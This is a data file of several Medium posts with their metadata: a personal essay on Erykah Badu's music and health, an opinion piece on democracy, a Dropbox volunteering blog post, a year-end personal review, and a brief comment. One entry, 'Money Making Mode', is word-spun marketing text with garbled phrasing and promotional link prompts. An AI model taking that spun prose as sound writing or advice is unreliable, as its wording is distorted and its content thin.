Hearing Erykah chant, “I’m alright with me” over and over again on “Cleva” touches my soul a lot more now that it would when I was 9. My sense of urgency is revitalized when I listen to “Time’s a Wastin’” and “Green Eyes” is the rollercoaster of emotions that I find myself on most days; reflecting on the choices I’ve made, and the insecurities that sometimes come with relationships. Overall though, to me, it represents the freedom felt when you go through and come out of all those things.
It also happened to come at a moment when I was going through multiple life changes. I knew, but still had not grasped the fact that I was moving to Texas in the coming months, and another part of me was still processing the fact that I had lost my job in April. I was blessed in the sense that I could collect unemployment (making more than I had at my former job anyway) but now, I was experiencing health problems. I laid there, listening to Ms. Badu until I managed to fall asleep, and the next morning I arose with not only a renewed sense of appreciation for her, but a determination to get myself to the hospital. I could not take it anymore, I had to feel better. | https://medium.com/@blackanthrope/mamas-gun-me-2159a3698b95 | ['Charmeise Jackson'] | 2020-12-24 17:58:04.095000+00:00 | ['Health', 'Erykah Badu', 'Music', 'Black Women', 'Fibroids'] |
Democracy and its defeat…. | Voting is Democracy, but democracy is more than just voting.
The best argument against democracy is a five-minute argument with an average voter.
Winston Churchill
The above words point out the problem of democracy in a very precise manner. This form of government gives huge power in the hands of people and who are often if not always not making rational choices based on data but they base their choices on emotions more often, emotions that appeal to some sort of chauvinism or hatred(diving people between ‘us’ and ‘them’), or hopes and aspirations and words of charismatic personalities even if the person happens to be a criminal.
Democracy is not just about choosing a few to rule and then go about doing your business, democracy is about appointing a few for a full-time job while the rest can keep an eye on them part-time while going about their business. Democracy is taking responsibility from a monarch and distributing it among people. But this distribution of responsibilities makes it difficult to identify who is actually responsible. It gets difficult to hold people accountable. For example, if there’s a normal theft who is that one person who can be held accountable?. The person who committed the theft, or the policeman who wasn’t patrolling, or the local politician who puts pressure on the police, or the teacher who taught that thief, or the robber’s parents or their economic status, which was not improved during his early childhood or the then government was responsible for not doing enough for economically disadvantaged or socially disadvantaged lot or the then people who elected a government of goons? Passing a judgment and holding someone accountable is easy but identifying who is actually responsible is the real difficult task.
Everyone living in a democracy is responsible for what happens around them, to the people, to the policies, to the economy, to the environment. It is these people who have to replace the appointed if they don’t work up to the mark. It is not just a once in a five-year job but an everyday task to evaluate what the appointed are doing.
It is the responsibility of everyone who understands economics to judge the economic policy of the appointed, and spread awareness.
It is the responsibility of every person who understands political thought to evaluate the work of the appointed regarding the policies that affect people across the spectrum.
It is everyone’s responsibility to become a better citizen and inform others and help them understand the importance thereof.
Democracy is highly idealistic in the sense that it requires the people of the country to be honest and active. Work together, help each other.
It requires teachers to work diligently and give their best to improve the educational status of the children, fully realizing the fact that it won’t just help them to lead a better life, but they will become better citizens. These children will grow up to be administrators and if they do,of what sort they would become.
It requires Doctors to help the poor at a low cost, spreading the importance of washing hands, drinking clean water and sanitation, using bed nets which can reduce malaria spread. They are not just responsible for treating those who reach them but also those who are unable to reach them. They need to understand that if the person they are treating gets healthy at a low cost he might invest more in children’s education, or if they are treating a kid, that kid might grow up to be a Minister or a Nobel laureate but for that to happen, he needs to understand that this child stays healthy.
Democracy is a very fragile political system, it needs a lot of watering and nutrition during its early years to get strong, but once it does it can sustain itself.
No one can defeat democracy except for the people living in it.
Image source- Pexels | https://medium.com/@shikharpathakas/democracy-and-its-defeat-d8fe63ce0bad | ['Shikhar Pathak'] | 2020-12-21 07:47:10.462000+00:00 | ['Education', 'Politics', 'Development', 'Democracy', 'Voting'] |
This is so wonderful. Lovely images & now we have a collection of so many colors of kisses ❤️ | This is so wonderful. Lovely images & now we have a collection of so many colors of kisses ❤️ | https://medium.com/@preetisingh15/this-is-so-wonderful-lovely-images-now-we-have-a-collection-of-so-many-colors-of-kisses-%EF%B8%8F-27411deef74d | ['Dr. Preeti Singh'] | 2020-12-13 01:08:21.733000+00:00 | ['Colors'] |
Money Making Mode | Money Making Mode - Consistently you should plan something for bring in cash. Bringing in cash can turn into a propensity, much the same as not bringing in cash. It is significant that you develop a lot the lucrative outlook.
Money Making Mode
On the off chance that you have an email list send them important and data consistently. On the off chance that you are making substance to get connects back to your site, make it consistently.
Accomplish something — an article, a public statement, a video, a blog entry or remark. Do it consistently.
Accomplish something consistently to acquire cash. Get fixated and dependent on bringing in cash. Put your emphasis on bringing in cash, not TV and other non lucrative time squanderers. Bringing in cash totally should turn into your new way of life. >>> Starting The Own Online Businesses <<<
On the off chance that you really need to be fruitful and make your living on the web the time has come to forfeit your typical time that is committed to different things, and move that time and center to making income.
Money Making Mode
Start with where you are at this moment, start with the information you have at the present time. Start with the assets and resources you have at this moment. Try not to stand by until you know it all since you never will!
Your pay will come from how much item/administration you sell. You need to change your concentration and how you utilize your time.
>>> Skills To Make Money Online <<<
Full time advertisers (or the individuals who need to be full time advertisers) center their time and consideration around “making money”… they center around selling stuff. It’s not advanced science my companions.
Such a large number of merchants invest their energy on making changes to their site, changes that will have little impact on deals. Try not to become involved with this.
Money Making Mode
Quit stressing over making your store ‘beautiful’ and attempting to get everything wonderful on the grounds that you never will!
I couldn’t care less in the event that you have just a single item or 200 items… invest your energy advancing what you have!
Zero in on those things that will make you cash like directing people to your site, constructing your rundown and offering to your rundown.
Money Making Mode - Toward the finish of every day consistently ask yourself “What did I do today to get more cash-flow from my store?” Whether little or huge consistently plan something day by day for bring in cash. That is the explanation you have your store, to bring in cash.
In the event that your store is to fulfill your Ego or dazzle others execute it at the present time and get an ordinary line of work!
>>> How to Make Money on the Weekends <<<
Do whatever you can to get guests to join on your rundown. Give your rundown individuals significant and useful free stuff like composed articles and reports, recordings about your specialty and recordings on utilizing your items, reviews… anything that bonds them to you.
You give individuals FREE and significant supportive data and they will respond by providing your requests. | https://medium.com/@emmas26/money-making-mode-a1e4d14f661b | ['Emmas Allan'] | 2020-12-21 16:46:17.423000+00:00 | ['Marketing', 'Online Marketing', 'Make Money Online', 'Online Business', 'Business'] |
How Dropboxers made a big difference during this quarter’s Impact Day | How Dropboxers made a big difference during this quarter’s Impact Day Dropbox Follow Jun 17 · 3 min read
We love to give back at Dropbox. Many of our Dropboxers are involved in their communities all year long, utilizing Dropbox-sponsored opportunities and four paid days of volunteer time off (included in our employee benefits) to support causes close to their hearts. And once a quarter, we hold an official Impact Day, our quarterly day of service that encourages Dropboxers around the world to make a difference.
Representing a collaboration effort between Dropbox for Good, our ERGs, and the Dropbox Foundation, Impact Day has one simple goal: do good. This quarter, we focused on celebrating Asian Pacific Islander (API) Heritage Month and Pride Month. We also partnered with nonprofits, including Dropbox Foundation partners, to create volunteering and learning opportunities to increase equity for these communities and discuss allyship.
Take a look at some of the volunteer opportunities Dropboxers engaged in during Impact Day:
Participated in a Lunch & Learn with Kenrick Ross, Executive Director of the National Queer Asian Pacific Islander Alliance
Learned about our digital footprint and how to manage it during a Digital Cleanup talk with the Dropbox on Dropbox team
Heard an update from Dropbox Foundation Partners BeLonGTo and Human Rights Law Centre
Celebrated the virtual Asian Pacific Islander Heritage Read-in and Pride Month Read-in with our school partners at Oakland Public Education Fund
Helped humanitarian organizations meet the needs of vulnerable people by tracing satellite imagery for disaster response efforts through a Mapathon with Missing Maps
Together, Dropboxers logged over 250 volunteer hours and collaborated with over 60 community nonprofits to bring awareness and support during this Impact Day. Here’s what some participants had to say about getting involved in this quarter’s Impact Day:
“I loved being able to present at Impact Day and highlight the often unseen environmental impact digital files can have and the amazing features Dropboxers are creating for users to stay organized and combat this!” — Jacq Deprey, CorpEng
“The second Impact Day of the year was a lot of fun to be a part of! Working with Jacq and Tristan from totally different teams at Dropbox to prepare and deliver a session was great and hopefully folks found it somewhat interesting or useful too. Looking forward to the next one already!” — Rory McConnell, Customer Experience
“Volunteering for Impact Day was something I really wanted to do this year and our API heritage month read-in was the perfect opportunity. Since we’re Virtual First, I was able to take part of a read-in for a school in the US that I normally wouldn’t be able to do, as I live Down Under! It was a great experience, and the Social Impact team were amazing at keeping us informed and enabled.” — Dani Tam, Marketing
“Impact day was really refreshing and inspiring. It was great to host our Foundation partners, BeLonG To, for a fireside chat, and I really enjoyed the ‘digital clean up’ session and already started cleaning up my Dropbox.” — Paul McGrath, Office Services
“Working with the HRLC through the Dropbox Foundation over the past two years has been incredibly rewarding. The work that HRLC do within Australia and their contribution towards human rights globally is so important and I’m very proud that Dropbox is supporting them in their efforts. During our Impact Day webinar, Hugh was able to shine a light on the impact the pandemic has had towards human rights and some of their initiatives as well as how we, as Dropboxers, can support them on an ongoing basis through Benevity donations, volunteer work, and even Hack Week projects.” — Michael Bradley, Sales and Channel
Interested in learning more about how Dropbox makes an impact — and could make an impact on your career too? Visit our jobs page. | https://medium.com/life-inside-dropbox/how-dropboxers-made-a-big-difference-during-this-quarters-impact-day-42a7e9b2aaab | [] | 2021-06-17 23:00:04.012000+00:00 | ['Equity', 'Volunteering', 'Impact', 'Events', 'Dropbox'] |
Before Getting Too Far With 2020 Resolutions… | A Year-End Review of (Personal) Business
It’s mid-January, 2020. Are you stuck on the inside lane, circling the resolution roundabout?
Perhaps it’s mighty high time to take a cue from The People in Business. (They’re all about Reviews. Year-End Reviews. Quarterly Reviews.) They recommend it for business business. You could be doing that in your personal business as well. You know, before striking out on the adventure of being better.
I know I definitely should be. So I’ll go first.
Before I Make Any 2020 Resolutions (and I’m not saying I will)…
What Worked in 2019
Texts with my husband. More on this in a future post. Turning kid-schlepping into mini-adventures. Parenting can make us crazy; we might as well make it fun. Turning long weeks into mini-adventures. See #2. Saying “no.” It’s a complete sentence. Letting things roll off my back. And down the hallway. And around the corner. Pauses. Getting up way early. (I’m a morning bird. You might not be.) Going to bed early. Intermittent fasting. Or as I like to call it, “not eating.” Taking even more walks. Even if I only have a few minutes. Being part of a mastermind group. Going on a first-ever trip with my sister. Giving more time to friends and making new ones.
What Really Did Not Work in 2019
Taking little decisions too seriously. Life will likely not be forever altered if we decide to skip this one thing this week. Letting other people put things on my to-do list. Generally speaking, if others initiate the words, I should step back and let others…initiate the action. Holding grudges. Sometimes it’s this. Sometimes it’s #5 from the first list. That one is better. Letting food splurges become binges. Lack of paper organization all up in the household. Allowing anxiety to get the best of me during daily transitions with my children. Maybe those should be mini-adventures as well.
Before You Resolve, Review
Don’t put the proverbial cart before the horse. Review the horse’s year. Make sure the animal is well-fed and healthy. Well-groomed. Cared for. Make sure the cart has no loose hinges or broken wheels. If so, address those things. Perhaps a repair is in order. Perhaps a new cart is needed.
Take care of all that. Then, carry on. | https://medium.com/@rhondafranz/before-getting-too-far-with-2020-resolutions-216010601957 | ['Rhonda Franz'] | 2020-01-15 13:36:59.333000+00:00 | ['Resolutions', 'Planning Ahead', 'Productivity', 'Goals', 'Year End Review'] |
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